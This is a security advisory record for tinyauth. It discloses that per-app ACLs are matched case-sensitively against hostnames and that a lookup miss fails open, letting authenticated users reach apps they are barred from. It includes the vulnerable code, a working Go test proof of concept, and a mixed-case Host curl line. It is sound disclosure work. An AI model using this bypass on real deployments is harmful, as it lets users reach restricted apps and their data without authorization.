{"id":"GHSA-328g-jx67-v94g","summary":"Tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for","details":"# tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for\n\n\n\n## GitHub Advisory Details (form fields — paste-ready)\n\n**Affected products**\n| Field | Value |\n|-------|-------|\n| Ecosystem | `Other (self-hosted)` / Go |\n| Package name | `github.com/steveiliop56/tinyauth` (forward-auth middleware) |\n| Affected versions | `\u003c 5.1.2` |\n| Patched versions | `5.1.2` |\n\n**Advisory details**\n| Field | Value |\n|-------|-------|\n| Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats `users`/`groups`/`ip` allowlists and fails open |\n\n- **Status:** Runtime-confirmed (local lab, 127.0.0.1 only)\n- **Target:** steveiliop56/tinyauth `v5.0.7` (commit `479f1657812b7bf01438607464dedaa148155301`); root cause also present on `main` HEAD\n- **Component:** `internal/service/access_controls_service.go` (`lookupStaticACLs` / `GetAccessControls`), `internal/service/docker_service.go` (`GetLabels`), `internal/controller/proxy_controller.go` (`proxyHandler`)\n- **Class:** Broken access control / authorization bypass across the per-app trust boundary\n\n## Summary\n\ntinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls `GET /api/auth/\u003cproxy\u003e` on every request and only forwards the request upstream if tinyauth returns `200`. tinyauth decides *which* per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set — the static `apps:` config and/or Docker labels. Each app can restrict access with `users.allow` / `users.block`, `oauth.whitelist`, `oauth.groups` / `ldap.groups`, and `ip.allow`. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.\n\nThe hostname → ACL lookup is performed with **case-sensitive** Go string comparisons (`config.Config.Domain == domain` and `strings.SplitN(domain, \".\", 2)[0] == app`). Hostnames, however, are case-*insensitive* everywhere else in the stack: DNS, HTTP `Host`-header routing, and TLS SNI all treat `immich.example.com` and `IMMICH.example.com` as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in `X-Forwarded-Host` (or `X-Original-URL` for nginx, or `Host` for Envoy), but tinyauth's case-sensitive lookup **misses** the app's ACL entry.\n\nOn a miss, tinyauth does not fail closed. `GetAccessControls` falls back to `DockerService.GetLabels`, which returns an **empty `config.App{}` with no error** whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: `IsAuthEnabled` → true, `CheckIP` (no allow/block) → allowed, `IsUserAllowed` with an empty `users.allow` → `CheckFilter(\"\", …)` → **true**, and the group check with empty required groups → **true**. The net result is that any *already-authenticated* user is authorized (`200 Authenticated`) for an app whose ACL was supposed to exclude them — simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app `users`/`groups`/`ip` allowlist for every proxy integration.\n\n## Affected code (v5.0.7, commit `479f1657…`)\n\nThe ACL lookup uses case-sensitive equality — `internal/service/access_controls_service.go`:\n\n```go\nfunc (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {\n\tfor app, config := range acls.static {\n\t\tif config.Config.Domain == domain {              // case-sensitive ==\n\t\t\treturn config, nil\n\t\t}\n\t\tif strings.SplitN(domain, \".\", 2)[0] == app {    // case-sensitive ==\n\t\t\treturn config, nil\n\t\t}\n\t}\n\treturn config.App{}, errors.New(\"no results\")\n}\n\nfunc (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {\n\tapp, err := acls.lookupStaticACLs(domain)\n\tif err == nil {\n\t\treturn app, nil\n\t}\n\t// Fallback to Docker labels\n\treturn acls.docker.GetLabels(domain)\n}\n```\n\nThe Docker-label fallback has the same case-sensitive comparisons and, critically, returns an **empty App with a nil error** when nothing matches (fail open) — `internal/service/docker_service.go`:\n\n```go\nfunc (docker *DockerService) GetLabels(appDomain string) (config.App, error) {\n\tif !docker.isConnected {\n\t\treturn config.App{}, nil            // \u003c-- empty App, no error\n\t}\n\t...\n\tfor _, ctr := range containers {\n\t\t...\n\t\tfor appName, appLabels := range labels.Apps {\n\t\t\tif appLabels.Config.Domain == appDomain { ... }        // case-sensitive\n\t\t\tif strings.SplitN(appDomain, \".\", 2)[0] == appName { ... } // case-sensitive\n\t\t}\n\t}\n\treturn config.App{}, nil                // \u003c-- no match -\u003e empty App, no error\n}\n```\n\nThe forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user — `internal/controller/proxy_controller.go` and `internal/service/auth_service.go`:\n\n```go\n// proxyHandler: host comes straight from X-Forwarded-Host, no normalization\nacls, err := controller.acls.GetAccessControls(proxyCtx.Host)\n...\nif userContext.IsLoggedIn {\n\tuserAllowed := controller.auth.IsUserAllowed(c, userContext, acls)   // empty acls -\u003e true\n\t...\n\tc.Header(\"Remote-User\", utils.SanitizeHeader(userContext.Username))\n\tc.JSON(200, gin.H{\"status\": 200, \"message\": \"Authenticated\"})\n}\n\n// IsUserAllowed with an empty App:\nfunc (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {\n\tif context.OAuth {\n\t\treturn utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter(\"\", …) == true\n\t}\n\tif acls.Users.Block != \"\" { ... }                                  // \"\" -\u003e skipped\n\treturn utils.CheckFilter(acls.Users.Allow, context.Username)       // CheckFilter(\"\", …) == true\n}\n```\n\n`utils.CheckFilter` returns `true` for an empty filter, so an empty `users.allow` means \"everyone is allowed\":\n\n```go\nfunc CheckFilter(filter string, str string) bool {\n\tif len(strings.TrimSpace(filter)) == 0 {\n\t\treturn true          // empty allowlist -\u003e allow all\n\t}\n\t...\n}\n```\n\nThe forwarded host is used verbatim: `getForwardAuthContext` reads `x-forwarded-host`, `getAuthRequestContext` parses `x-original-url`, `getExtAuthzContext` uses `c.Request.Host` — none of them lower-cases or canonicalizes the host before it reaches `GetAccessControls`.\n\n## Attacker model / precondition\n\nThe attacker is a **legitimately authenticated but low-privileged** user of the tinyauth instance — they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply *not* on the `users.allow` / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.\n\nTrigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key — the simplest being a case change (`IMMICH.example.com` for `immich.example.com`). Reverse proxies match `Host` rules case-insensitively (RFC 3986 §3.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in `X-Forwarded-Host` / `X-Original-URL` / `Host`. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (`immich.example.com.`) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy → `X-Forwarded-Host`; nginx → `X-Original-URL`; Envoy → `Host`).\n\nWhat bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app's data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global `oauth.whitelist` used at login) are not affected because they run at login, not per-app.\n\n## Impact\n\nAny authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by `users.allow` / `users.block`, `oauth.groups`, `ldap.groups`, or (for authenticated users) `oauth.whitelist` — none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product's core authorization feature. tinyauth even emits the spoofed identity to the upstream via the `Remote-User` / `Remote-Email` headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.\n\n## Proof of Concept (complete — runs on 127.0.0.1 only)\n\nLab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the **real** `ProxyController`, `AccessControlsService`, and `AuthService` (the same wiring the project's own `proxy_controller_test.go` uses), configures one app `immich` restricted to user `admin`, and drives the real forward-auth endpoint as a logged-in non-admin user `bob`. It proves: (1) with the exact-case host, bob is correctly blocked (`403`); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (`200`) with `Remote-User: bob` — a cross-app authorization bypass.\n\nReproduce against the exact vulnerable tag:\n\n```console\ngit clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth\ncd tinyauth\n# The repo embeds the built frontend at internal/assets/dist via //go:embed.\n# For a backend-only PoC, create a one-file stub so the embed compiles:\nmkdir -p internal/assets/dist\nprintf '\u003c!doctype html\u003e\u003ctitle\u003estub\u003c/title\u003e' \u003e internal/assets/dist/index.html\n# Write the test file shown below to internal/controller/zzz_poc_test.go, then:\ngo test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v\n```\n\n`internal/controller/zzz_poc_test.go`:\n\n```go\npackage controller_test\n\nimport (\n\t\"net/http/httptest\"\n\t\"path\"\n\t\"testing\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/steveiliop56/tinyauth/internal/bootstrap\"\n\t\"github.com/steveiliop56/tinyauth/internal/config\"\n\t\"github.com/steveiliop56/tinyauth/internal/controller\"\n\t\"github.com/steveiliop56/tinyauth/internal/repository\"\n\t\"github.com/steveiliop56/tinyauth/internal/service\"\n\t\"github.com/steveiliop56/tinyauth/internal/utils/tlog\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched\n// against the forwarded host with a case-SENSITIVE string comparison, while\n// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in\n// an app's users.allow list can reach the app anyway by varying the case of the\n// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail\n// open), and the forward-auth verdict becomes 200 \"Authenticated\".\nfunc TestForwardAuthHostCaseACLBypass(t *testing.T) {\n\ttlog.NewTestLogger().Init()\n\ttempDir := t.TempDir()\n\n\t// Force the docker label provider offline so an ACL miss deterministically\n\t// yields the empty App() default (this is exactly what happens on any\n\t// deployment whose ACLs live in the static `apps:` config, or whose docker\n\t// socket holds no container matching the mixed-case host).\n\tt.Setenv(\"DOCKER_HOST\", \"unix:///nonexistent/docker.sock\")\n\n\tauthServiceCfg := service.AuthServiceConfig{\n\t\tUsers: []config.User{\n\t\t\t{\n\t\t\t\tUsername: \"admin\",\n\t\t\t\tPassword: \"$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa\", // password\n\t\t\t},\n\t\t\t{\n\t\t\t\tUsername: \"bob\",\n\t\t\t\tPassword: \"$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa\", // password\n\t\t\t},\n\t\t},\n\t\tSessionExpiry:     10,\n\t\tCookieDomain:      \"example.com\",\n\t\tLoginTimeout:      10,\n\t\tLoginMaxRetries:   3,\n\t\tSessionCookieName: \"tinyauth-session\",\n\t}\n\n\tcontrollerCfg := controller.ProxyControllerConfig{\n\t\tAppURL: \"https://tinyauth.example.com\",\n\t}\n\n\t// The admin restricts the \"immich\" app to user \"admin\" only.\n\tacls := map[string]config.App{\n\t\t\"immich\": {\n\t\t\tConfig: config.AppConfig{\n\t\t\t\tDomain: \"immich.example.com\",\n\t\t\t},\n\t\t\tUsers: config.AppUsers{\n\t\t\t\tAllow: \"admin\",\n\t\t\t},\n\t\t},\n\t}\n\n\t// bob is a legitimately-authenticated low-privileged user. He is NOT in\n\t// immich's users.allow list.\n\tbobCtx := func(c *gin.Context) {\n\t\tc.Set(\"context\", &config.UserContext{\n\t\t\tUsername:   \"bob\",\n\t\t\tName:       \"Bob\",\n\t\t\tEmail:      \"bob@example.com\",\n\t\t\tIsLoggedIn: true,\n\t\t\tProvider:   \"local\",\n\t\t})\n\t\tc.Next()\n\t}\n\n\t// Shared services (mirrors the project's own proxy_controller_test.go).\n\tapp := bootstrap.NewBootstrapApp(config.Config{})\n\tdb, err := app.SetupDatabase(path.Join(tempDir, \"tinyauth.db\"))\n\trequire.NoError(t, err)\n\tdefer func() { _ = db.Close() }()\n\n\tqueries := repository.New(db)\n\n\tdocker := service.NewDockerService()\n\trequire.NoError(t, docker.Init())\n\n\tldap := service.NewLdapService(service.LdapServiceConfig{})\n\trequire.NoError(t, ldap.Init())\n\n\tbroker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))\n\trequire.NoError(t, broker.Init())\n\n\tauthService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)\n\trequire.NoError(t, authService.Init())\n\n\taclsService := service.NewAccessControlsService(docker, acls)\n\n\tnewRouter := func() *gin.Engine {\n\t\tgin.SetMode(gin.TestMode)\n\t\trouter := gin.New()\n\t\trouter.Use(bobCtx)\n\t\tgroup := router.Group(\"/api\")\n\t\tpc := controller.NewProxyController(controllerCfg, group, aclsService, authService)\n\t\tpc.SetupRoutes()\n\t\treturn router\n\t}\n\n\tforwardAuth := func(host string) *httptest.ResponseRecorder {\n\t\trec := httptest.NewRecorder()\n\t\treq := httptest.NewRequest(\"GET\", \"/api/auth/traefik\", nil)\n\t\treq.Header.Set(\"x-forwarded-host\", host)\n\t\treq.Header.Set(\"x-forwarded-proto\", \"https\")\n\t\treq.Header.Set(\"x-forwarded-uri\", \"/\")\n\t\tnewRouter().ServeHTTP(rec, req)\n\t\treturn rec\n\t}\n\n\t// 1. Control: exact-case host -\u003e ACL is found, bob is NOT in users.allow -\u003e 403.\n\tlower := forwardAuth(\"immich.example.com\")\n\tt.Logf(\"[control]  x-forwarded-host=immich.example.com  -\u003e %d  remote-user=%q\", lower.Code, lower.Header().Get(\"Remote-User\"))\n\tassert.Equal(t, 403, lower.Code, \"boundary must block bob at the exact-case host\")\n\n\t// 2. Bypass: upper-case host -\u003e ACL lookup misses (case-sensitive ==),\n\t//    empty App fail-open -\u003e 200 Authenticated + Remote-User leaks bob.\n\tupper := forwardAuth(\"IMMICH.example.com\")\n\tt.Logf(\"[BYPASS]   x-forwarded-host=IMMICH.example.com  -\u003e %d  remote-user=%q\", upper.Code, upper.Header().Get(\"Remote-User\"))\n\n\trequire.Equalf(t, 200, upper.Code, \"expected the mixed-case host to bypass the users.allow ACL\")\n\trequire.Equalf(t, \"bob\", upper.Header().Get(\"Remote-User\"), \"tinyauth authorized bob for immich across the ACL boundary\")\n}\n```\n\nObserved output (v5.0.7; trimmed to the two decisive log lines):\n\n```text\n=== RUN   TestForwardAuthHostCaseACLBypass\n... access_controls_service.go: Found matching container by domain  name=immich\n... proxy_controller.go: User not allowed to access resource  resource=immich user=bob\n    zzz_poc_test.go: [control]  x-forwarded-host=immich.example.com  -\u003e 403  remote-user=\"\"\n... access_controls_service.go: Falling back to Docker labels for ACLs\n... docker_service.go: Docker not connected, returning empty labels\n    zzz_poc_test.go: [BYPASS]   x-forwarded-host=IMMICH.example.com  -\u003e 200  remote-user=\"bob\"\n--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)\nPASS\nok  \tgithub.com/steveiliop56/tinyauth/internal/controller\t0.067s\n```\n\nThe control request (`immich.example.com`) finds the ACL and correctly returns `403` for bob; the identical request with an upper-cased host (`IMMICH.example.com`) misses the ACL, falls back to the empty App, and returns `200 Authenticated` with `Remote-User: bob`. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case `Host` header, e.g. `curl -H 'Host: IMMICH.example.com' https://\u003cproxy\u003e/` with bob's session cookie — the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.\n\n## Remediation\n\n- **Canonicalize the host before the ACL decision.** Lower-case (and strip any trailing dot / port from) the forwarded host in `getForwardAuthContext` / `getAuthRequestContext` / `getExtAuthzContext`, and store both the ACL `apps` keys and each `config.domain` / label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare with `strings.EqualFold`. This closes the case, trailing-dot, and port-variant encodings in one place.\n- **Fail closed on an ACL miss.** `GetAccessControls` / `GetLabels` should distinguish \"no ACL configured for this host\" from \"empty ACL that allows everyone.\" When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-all `App`; it should apply a deny-by-default (or an explicit, documented default policy) rather than returning `config.App{}, nil`. Returning an all-empty `App` as the fallback is the fail-open that turns the lookup miss into an authorization bypass.\n- Add a regression test asserting that a user excluded by `users.allow` is still `403` when the same host is supplied in mixed case, with a trailing dot, and with an added port.\n\nPlease credit 5ud0 / Tarmo Technologies.","aliases":["CVE-2026-77560","GO-2026-6552"],"modified":"2026-10-01T20:56:18.875153850Z","published":"2026-09-22T20:37:08Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-09-22T20:37:08Z","nvd_published_at":"2026-09-21T17:18:52Z","cwe_ids":["CWE-178","CWE-636","CWE-863"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/tinyauthapp/tinyauth/security/advisories/GHSA-328g-jx67-v94g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77560"},{"type":"WEB","url":"https://github.com/tinyauthapp/tinyauth/pull/1000"},{"type":"WEB","url":"https://github.com/tinyauthapp/tinyauth/pull/1028"},{"type":"WEB","url":"https://github.com/tinyauthapp/tinyauth/commit/80bc87188ec3aabc5104c249eaa7b997973b9275"},{"type":"WEB","url":"https://github.com/tinyauthapp/tinyauth/commit/e75605b2c534ec83525a33603e16d76baca13399"},{"type":"PACKAGE","url":"https://github.com/tinyauthapp/tinyauth"},{"type":"WEB","url":"https://github.com/tinyauthapp/tinyauth/releases/tag/v5.1.2"}],"affected":[{"package":{"name":"github.com/tinyauthapp/tinyauth","ecosystem":"Go","purl":"pkg:golang/github.com/tinyauthapp/tinyauth"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.1-0.20260720133915-80bc87188ec3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-328g-jx67-v94g/GHSA-328g-jx67-v94g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}]}